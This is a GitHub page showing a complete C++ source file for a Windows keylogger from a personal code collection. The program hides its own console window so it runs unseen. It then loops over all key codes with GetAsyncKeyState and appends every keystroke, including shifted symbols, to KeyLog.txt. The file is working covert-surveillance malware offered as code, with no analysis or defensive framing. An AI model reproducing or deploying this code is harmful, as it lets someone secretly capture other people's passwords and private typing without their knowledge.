CPPCollection/KeyLogger.cpp at main · StevenMunich/CPPCollection · GitHub

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#include <iostream>
#include <windows.h>
#include <winuser.h>
#include <fstream>
using namespace std;

void StealthMode();
void StartLogging();

int main(){
    StealthMode(); //Hides the console window
    StartLogging(); //records keystrokes & writes to file

    return 0;
}

void StartLogging(){
        char c;

    for(;;){ //Main Loop

        for(c=8;c<=222;c++){ //Gets all keys
            if(GetAsyncKeyState(c)==-32767){

            ofstream write("KeyLog.txt", ios::app); //Opens File Stream for Record.txt

            if(((c>64)&&(c<91))&&!(GetAsyncKeyState(0x10)) ) //For lowerCase letters
            {
                c+=32;
                write<<c;
                write.close();
                break;
            }
            else if((c>64)&&(c<91)) //For UpperCase Letters
            {

                write<<c;
                write.close();
                break;
            }
            else { //For special characters and numbers

                switch (c)
                {
                    case 48:
                    {
                        if(GetAsyncKeyState(0x10)) //determines if shift key is held down

                            write<<")";
                        else
                            write<<"0";


                        }
                    break;


                    case 49:
                    {
                        if(GetAsyncKeyState(0x10))

                            write<<"!";
                        else
                            write<<"1";


                        }
                    break;

                    case 50:
                    {
                        if(GetAsyncKeyState(0x10))

                            write<<"@";
                        else
                            write<<"2";

                        }
                    break;
                    case 51:
                    {
                        if(GetAsyncKeyState(0x10))

                            write<<"#";
                        else
                            write<<"3";


                        }
                    break;
                    case 52:
                    {
                        if(GetAsyncKeyState(0x10))

                            write<<"$";
                        else
                            write<<"4";


                        }
                    break;
                    case 53:
                    {
                        if(GetAsyncKeyState(0x10))

                            write<<"%";
                        else
                            write<<"5";


                        }
                    break;
                    case 54:
                    {
                        if(GetAsyncKeyState(0x10))

                            write<<"^";
                        else
                            write<<"6";


                        }
                    break;
                    case 55:
                    {
                        if(GetAsyncKeyState(0x10))

                            write<<"&";
                        else
                            write<<"7";


                        }
                    break;
                    case 56:
                    {
                        if(GetAsyncKeyState(0x10))

                            write<<"*";
                        else
                            write<<"8";


                        }
                    break;
                    case 57:
                    {
                        if(GetAsyncKeyState(0x10))

                            write<<"(";
                        else
                            write<<"9";


                        }
                    break;

                    case VK_SPACE:
                        write<<" ";
                        break;
                    case VK_RETURN:
                        write<<"\n";
                        break;
                    case VK_TAB:
                        write<<"  ";
                        break;
                   case VK_BACK:
                        write<<"<BACKSPACE>";
                        break;
                    case VK_DELETE:
                        write<<"<Del>";
                        break;

                    default:
                        write<<c;
            }

                }

           }
        }
        }
}
void StealthMode(){ //Hides the console Window
    HWND stealth;
    AllocConsole();
    stealth=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(stealth,0);

}